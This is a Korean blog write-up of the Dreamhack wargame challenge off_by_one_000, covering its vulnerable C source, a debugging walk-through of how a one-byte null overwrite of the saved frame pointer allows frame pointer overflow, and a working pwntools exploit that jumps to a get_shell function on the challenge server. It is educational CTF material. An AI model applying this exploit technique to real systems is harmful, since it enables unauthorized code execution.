일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | |
7 | 8 | 9 | 10 | 11 | 12 | 13 |
14 | 15 | 16 | 17 | 18 | 19 | 20 |
21 | 22 | 23 | 24 | 25 | 26 | 27 |
28 | 29 | 30 | 31 |
- rev-basic-0
- rev-basic-5
- rev-basic-6
- sd카드 리더기
- 드림핵
- basic_exploitation_001
- sint
- L15
- coin1
- RCE
- CodeEngn
- out_of_bound
- pwnable.kr
- rev-basic-4
- Pwnable
- rev-basic-3
- Basic
- L17
- Dreamhack
- L18
- basic_exploitation_000
- rev-basic-1
- 포너블
- rev-basic-7
- off_by_one_000
- rev-basic-2
- 코드엔진 베이직 13
- L16
- off_by_one_001
- 코드엔진 베이직
- Today
- Total
서브웨이
dreamhack off_by_one_000 풀이 본문
자 일단 RELRO랑 NX bit이 적용되어있으니 쉘코드, got 조작은 불가능 합니다.
소스코드를 봅시다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char cp_name[256];
void get_shell()
{
system("/bin/sh");
}
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int cpy()
{
char real_name[256];
strcpy(real_name, cp_name);
return 0;
}
int main()
{
initialize();
printf("Name: ");
read(0, cp_name, sizeof(cp_name));
cpy();
printf("Name: %s", cp_name);
return 0;
}
간단하게 전역변수에 read로 입력을 받아서 중간에 지역변수에 복사를 해주는 문제입니다.
딱봐도 공략할 껀덕지가 있어보이는곳은 read 함수와 strcpy 함수밖에 보이지 않죠?
생각해보면 read 함수로 입력을 받을때 문자열의 마지막 한 바이트는 비워둔다고 생각하고 입력을 받아야하는데 전체 크기만큼을 입력 받는것을 볼 수 있습니다. 여기서 문제가 생길 것 같습니다.
한번 디버깅을 해봅시다.
일단 어셈블리코드는 다음과 같습니다
일단 한번 임의로 A를 256개(0x100개)만큼 입력으로 줘 보면 cp_name이 위치한 0x804a060에 다음과 같이 저장됩니다.
딱 봐도 문자열의 끝을 나타내는 부분이 없는것을 알 수 있습니다.
이 경우에는 0x804a160의 한 바이트가 문자열의 끝으로 인식될 것이라 추측할 수 있습니다.
그럼 이대로 cpy 함수로 들어가서 어떤일이 일어나는지 봅시다.
이 사진은 strcpy가 일어나기 직전의 지역변수와 SFP, RET 상황입니다.
이 사진은 strcpy가 일어난 직후의 지역변수와 SFP, RET 상황입니다.
SFP가 저장되어 있던 0xffffd0c0의 첫 바이트를 보시면 0xc8에서 0x00으로 바뀌어버린 것을 알 수 있습니다.
이는 strcpy를 하는 과정에서 cp_name의 끝 부분이 0x804a160으로 인식되어서 총 257바이트가 복사되었으므로 SFP의 1바이트가 조작된것으로 볼 수 있습니다.
그럼 조작된 SFP는 어디를 가리키게 될까요?
위에서 볼 수 있듯이 지역변수 한가운데를 가리키게 됩니다.
그럼 이렇게 SFP를 조작하여서 무슨일을 할 수 있을까요?
여기서 FPO(Frame Pointer Overflow)가 등장합니다
https://hackstoryadmin.tistory.com/entry/FPO-Frame-Pointer-Overflow
FPO (Frame Pointer Overflow)
안녕하세요. FPO (Frame Pointer Overflow) 에 대해 포스팅을 시작하겠습니다. 먼저 FPO 란? SFP의 1byte를 overflow (overwrite) 하여 실행코드가 있는 원하는 주소로 eip 를 변조하는 기법입니다. 이를 학습하기..
hackstoryadmin.tistory.com
자세한건 위 블로그를 참고바랍니다.
결국 FPO를 요약하자면 조작된 SFP+4에 쉘코드의 주소 혹은 원하는 함수의 주소를 위치시켜놓으면 그곳으로 점프가 가능한 취약점입니다.
그럼 간단하게 위치를 구하고 자시고 머리쓸 필요없이 그냥 입력값으로 get_shell 함수의 주소를 반복해서 주면 어떻게든 그곳으로 점프할 것으로 추측할 수 있습니다.
일단 get_shell의 주소는 다음과 같습니다.
그럼 익스플로잇 코드를 짜봅시다.
from pwn import *
p = remote('host1.dreamhack.games', 11875)
adr = 0x80485db
payload = p32(adr)*0x40
p.recvuntil('Name: ')
p.send(payload)
p.interactive()
간단하게 해결~
'Pwnable > dreamhack' 카테고리의 다른 글
dreamhack out_of_bound 풀이 (0) | 2021.07.27 |
---|---|
dreamhack off_by_one_001 풀이 (0) | 2021.07.27 |
dreamhack welcome 풀이 (0) | 2021.07.20 |
dreamhack basic_exploitation_003 풀이 (0) | 2021.07.20 |
dreamhack basic_exploitation_002 풀이 (0) | 2021.07.20 |